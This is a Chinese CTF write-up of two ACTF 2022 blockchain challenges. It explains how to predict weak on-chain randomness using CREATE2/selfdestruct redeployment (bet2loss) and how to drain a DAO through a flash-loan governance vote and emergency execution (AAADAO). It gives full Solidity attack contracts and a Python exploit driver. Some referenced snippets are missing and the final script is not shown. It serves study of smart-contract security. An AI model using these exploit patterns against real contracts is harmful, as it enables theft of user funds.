前言

ACTF 2022 Blockchain方向共有三道题，题目质量相比于我之前参加的一些比赛来说是比较高的，贴近现实世界中的真实场景，由于Weird EVM这题偏向密码学而我对这方面不太擅长，所以最后只做出了bet2loss和AAADAO这两题，下面讲解一下思路。

解题脚本用到了我的Poseidon库(v1.0.1)，同时由于题目环境禁用了EIP1559形式的交易（或部分相关API），在使用最新版web3py时需修改其中的_utils/transactions.py，否则在buildTransaction时会报错，具体改动如下：

另外有个知识点可能有些朋友还不知道，就是在Solidity 0.8.0版本之后，编译出来的合约是自带整型溢出保护的，所以以后看到高于这个版本的，就不要考虑整型溢出漏洞了。

解题过程

（这题除了常规的纯区块链解法外似乎还有一种Web解法，我用的是常规解法。）

这题考察的是随机数预测和CREATE2，在链上要想获得真正的随机数是一件十分困难的事情（可以使用预言机，如ChainLink，但过程也并不简便），以太坊区块链上的所有交易都是确定性的状态转换操作，每笔交易都会改变以太坊生态系统的全球状态，并且是以一种可计算的方式进行，这意味着它没有任何的不确定性。更一般地说，在区块链生态系统内，不存在熵或随机性的来源。如果使用可以被矿工所控制的变量，如区块哈希值，时间戳，区块高低或是Gas上限等作为随机数的熵源，产生的随机数并不安全，因为其他人也可以很轻松地获取到这些值，并根据同样的方法生成所谓的随机数，从而攻击那些不安全的合约函数。而通过CREATE2，我们可以在合约部署之前计算出合约的地址，并且能够实现在同一地址上多次部署合约，这为我们解题提供了关键条件。

首先访问一下30000端口处的dApp，发现提供了一些基本信息如游戏合约地址，大致意思是我们的账户可以通过Airdrop获得Bet的启动资金，然后有20次Bet的机会，当我们账户的Token Balance大于一定阈值时就可以通过Check并得到flag。但实际上光靠猜几乎是不可能达成条件的，我们需要在链上进行操作。

注意到bet2loss_dockerv\routes\flag.js中的上图所示部分，Check时要求POST过来的address不能为出题人地址，然后通过游戏合约的checkWin函数进行判断，若该函数调用成功，即代表我们的账户满足条件，就可以获得flag。

接下来看到bet.sol：

每个账户可以调用一次airdrop函数来获得30的启动资金，由于transferTo函数没有实现，所以无法通过薅羊毛的方式达成条件，而获胜条件是账户余额大于2000。

首先前面三个require要求：

• 不能在同一个区块内多次调用bet
• mod只能在[2,12]范围内
• 每个账户最多只能调用20次bet

其次是要求调用bet的账户不能是合约，这一段是可以通过CREATE2在同一地址上多次部署合约来绕过的，后面再深入讲解。

再然后是rand的生成，这里用到了nonce、block.timestamp、block.difficulty、msg.sender，其中nonce是该合约的private变量，需要在外部通过getStorageAt来读取并传给攻击合约，其余三个都是链上变量，只要在同一区块内，任何合约读到的这些内容都是一致的，所以可以对随机数进行预测，从而百猜百中。

以下是攻击合约Hacker.sol的代码：

pragma solidity ^0.8.0;

import "./bet.sol";

contract Hacker {
    constructor(address target, uint256 mod) public {
        BigHacker b = BigHacker(msg.sender);
        uint256 nonce = b.nonce();
        uint256 value = 0;
        BetToken t = BetToken(target);
        if (t.balances(address(this)) == 0) {
            t.airdrop();
        }
        value = Hack(nonce, mod);
        t.bet(value, mod);
        selfdestruct(payable(msg.sender));
    }

    function Hack(uint256 nonce, uint256 mod) public view returns (uint256) {
        uint256 rand = uint256(
            keccak256(
                abi.encodePacked(
                    nonce,
                    block.timestamp,
                    block.difficulty,
                    address(this)
                )
            )
        ) % mod;
        return rand;
    }
}

contract BigHacker {
    address public a;
    bytes32 public s = hex"42";
    uint256 public nonce;

    constructor(uint256 _nonce) public {
        nonce = _nonce;
    }

    function Hack(address target, uint256 mod) public {
        a = address(new Hacker{salt: s}(target, mod));
        nonce++;
    }
}

我们要部署的是BigHacker合约，在部署时传入在外部读取到的nonce值，然后通过多次调用Hack函数创建攻击子合约进行bet，原理是通过CREATE2和selfdestruct可以在同一地址上反复创建合约，为了绕过bet中禁止合约调用的检查，需要在constructor内进行调用，因为此时攻击子合约的地址上是没有code的，能够通过检查，这样我们就可以借助合约预测随机数并进行bet，最后通过selfdestruct销毁自身的代码，以便后续还能够通过CREATE2进行部署（不自毁的话，该地址上将保留code，后续CREATE2将会失败），这样经过大概18次后，攻击子合约账户上的余额就大于2000了，直接访问题目接口进行Check就可以获得flag。

account.GetSelfBalance()

# 题目合约地址规范化

# 实例化题目合约
exerciseContract = Contract(account, exerciseContractAddress, abi)

# 编译攻击合约
abi, bytecode = Utils.CompileSolidityToABIAndBytecode("Hacker.sol", "BigHacker")

# 读nonce
nonce = int(chain.GetStorage(exerciseContractAddress, 2), 16)

# 部署攻击合约
hackerAddress, hacker = account.DeployContract(abi, bytecode, 0, nonce)

# 开始猜解
for i in range(20):
    hacker.CallFunction("Hack", exerciseContractAddress, 12)
    final = hacker.ReadOnlyCallFunction("a")
    balance = exerciseContract.ReadOnlyCallFunction("balances", final)
    
    # 提交
    if balance > 2000:
        print(requests.post("http://123.60.36.208:30000/flag", data={"address": final}).text)
        logger.success("Execution completed.")
        break

解题过程

这是一道借助闪电贷进行治理提案攻击的题目，这题的考察类型是比较新颖的，应该是首创了DAO方面的CTF赛题，并且具有很高的现实价值，近期频频发生的链上黑客事件也多与治理攻击有关。

解题条件是偷走治理合约中所有的AAA代币，合约文件较多，我们逐一分析。

首先是Deploy.sol：

这个合约没啥特别信息，就是新建AAA和Gov这两个关键合约，并且指示最初铸出的AAA代币已经全部转移至Gov中。

接下来是Token.sol：

• 注意到导入了ERC20Votes.sol，后续要到这里面寻找一些用到的函数。
• Gov目前账上有1亿枚AAA代币，这个信息是有用的，这表明我们后续闪电贷时不能借太多，否则会还不上。
• 闪电贷手续费是借贷金额的百分之一。
• 闪电贷的调用者需要以IERC3156FlashBorrower类型传入，后续编写攻击合约时要注意。
• 闪电贷的调用者需要实现onFlashLoan函数，并且返回_RETURN_VALUE，这是ERC3156闪电贷标准要求。
• 在闪电贷内还需要授权AAA合约转账amount+fee额度的AAA代币的权限。

然后是Gov.sol：

• 导入了四个治理相关的合约，后续要用到里面的一些函数
• 指示了提案基准票数的百分比为百分之四
• 指示了投票前应该通过delegate函数进行投票权委托
• 指示了提案的开始时间为创建提案的后10个区块，我们必须等待提案开始才能进行投票（出块间隔大概是30秒，严厉谴责这太浪费时间了）
• 指示了提案的持续时间为46027个区块，由于持续时间过长，我们必须让提案在投票攻击后立即执行
• 指示了发起提案的最低要求是持有0枚AAA代币，即任何人都可以发起提案

目前为止，与题目主体相关的合约代码已经分析完了，具体的攻击流程是：

• 构造恶意提案合约，将Gov合约中的AAA代币全部转移至攻击合约
• 构造攻击合约，用于创建提案，发起闪电贷，并在闪电贷中进行治理攻击，使得恶意提案被成功执行
• 窃取到AAA代币后完成闪电贷流程，同时达成解出条件

以下是恶意提案合约Proposal.sol的代码：

pragma solidity ^0.8.2;

import "./Token.sol";

contract Proposal {
    address
        public constant TokenAddress = 0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8;
    address
        public constant GovernorAddress = 0x6beF3223f7e0a6282F1Dc1E483b533c9700A6d08;
    address public constant Hacker = 0x2F4d1AFe2E572Cbe2A372597e005aB0ce8f6c1B4;

    function executeProposal() public {
        AAA a = AAA(TokenAddress);
        a.transfer(Hacker, a.balanceOf(GovernorAddress));
    }
}

其中第10行处的Hacker地址需要在脚本执行的中途填入，因为要等待Hacker合约部署后才能得到地址（想提前计算也可以，用CREATE2，就是太麻烦了），由于是delegatecall，必须设为常量才能正常执行。executeProposal函数是之后执行提案时调用的，作用是将Gov合约中的AAA代币全部转移至Hacker合约账户。

以下是攻击合约Hacker.sol的代码：

pragma solidity ^0.8.2;

import "./Token.sol";
import "./Gov.sol";
import "./Proposal.sol";
import "./interfaces/IERC3156FlashBorrower.sol";

contract Hacker {
    address
        public constant TokenAddress = 0xCF33A10B840544Cf5eE8cE432eF116E10f80fBb8;
    address
        public constant GovernorAddress = 0x6beF3223f7e0a6282F1Dc1E483b533c9700A6d08;
    address public ProposalAddress;

    function init(address _ProposalAddress) public {
        ProposalAddress = _ProposalAddress;
        Governor g = Gov(payable(GovernorAddress));
        address[] memory ad = new address[](1);
        ad[0] = ProposalAddress;
        uint256[] memory ui = new uint256[](1);
        ui[0] = 0;
        bytes[] memory by = new bytes[](1);
        by[0] = abi.encodeWithSignature("executeProposal()");
        string memory st = "42";
        g.propose(ad, ui, by, st);
    }

    function Hack() public {
        AAA a = AAA(TokenAddress);
        a.flashLoan(
            IERC3156FlashBorrower(address(this)),
            TokenAddress,
            a.totalSupply() / 10,
            ""
        );
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        AAA a = AAA(TokenAddress);
        a.delegate(address(this));
        Governor g = Gov(payable(GovernorAddress));
        address[] memory ad = new address[](1);
        ad[0] = ProposalAddress;
        uint256[] memory ui = new uint256[](1);
        ui[0] = 0;
        bytes[] memory by = new bytes[](1);
        by[0] = abi.encodeWithSignature("executeProposal()");
        string memory st = "42";
        uint256 ProposalId = g.hashProposal(ad, ui, by, keccak256(bytes(st)));
        g.castVote(ProposalId, 1);
        g.emergencyExecuteRightNow(ad, ui, by, keccak256(bytes(st)));
        a.increaseAllowance(TokenAddress, amount + fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

攻击合约由于执行的操作较多，所以也比较复杂，我们逐个函数分析。

首先是init函数，在这里创建提案，需要注意的是Governor.sol中实现的propose函数需要传入[]类型的变量，为了编译能顺利通过，需要使用上图所示方法进行构造，最后调用Gov的propose即可创建提案，需要注意提案创建后需要等待10个区块后才能进行投票表决。

• ad是恶意提案合约地址
• ui是value值，由于用不上所以随意设为0
• by是要执行的函数的selector，用abi.encodeWithSignature可以轻松构造
• st是提案描述，由于用不上所以随意设为"42"

Governor.sol中的propose函数：

这部分需要了解一下proposalId的产生方式，后续要用相同的方法获得提案ID以便投票，还有就是提案时间的一些设置。

接下来是Hack函数，这是用于发起闪电贷的，作用是给我们的Hacker合约贷到a.totalSupply()/10（即目前AAA代币总量的百分之十）的代币用于后续投票，这个数值可以通过分析Governor.sol中的emergencyExecuteRightNow函数得到，如果我们想要立即执行提案，需要满足赞成票数大于提案开始那个时刻（此时闪电贷的代币还没有铸出）的AAA代币的总数的百分之八。

Governor.sol中的emergencyExecuteRightNow函数：

需要注意的是这里要我们传的是descriptionHash了，调用的时候记得提前生成一下。紧急执行的条件是通过_quorumReachedEmergency和_voteSucceededEmergency的判定，这两个函数在GovernorCountingSimple.sol中。

_quorumReachedEmergency如下：

百分之八这个比例的由来在这里。

_voteSucceededEmergency如下：

只要全投赞成票即可。

VoteType如下：

之后要转成uint8，那么For对应的就是1。

Governor.sol中的_execute如下：

提案执行时使用的是delegatecall，这使得我们可以成功转移走Gov中的AAA代币，因为delegatecall与call主要的不同在于：delegatecall调用仅使用目标地址的代码，而上下文环境仍然是当前合约的（如：msg.sender等）。

最后是onFlashLoan：

• 通过a.delegate将我们的投票权赋予给自己，这步是必须的，否则后续投不上票
• 以相同的方式生成ProposalId
• 通过g.castVote为提案投赞成票，以便能够紧急执行
• 通过g.emergencyExecuteRightNow立即执行提案，窃取Gov合约中的全部AAA代币
• 通过a.increaseAllowance授权AAA合约转移我们的AAA代币以便归还闪电贷
• 最后还要按照ERC3156标准返回指定内容

ERC20Votes.sol中的delegate如下：

这样授权投票权重为我们账户拥有的代币总量。

Governor.sol中的castVote的最终形式如下：

攻击原理以及流程大致分析完毕，下面是链上交互的脚本：
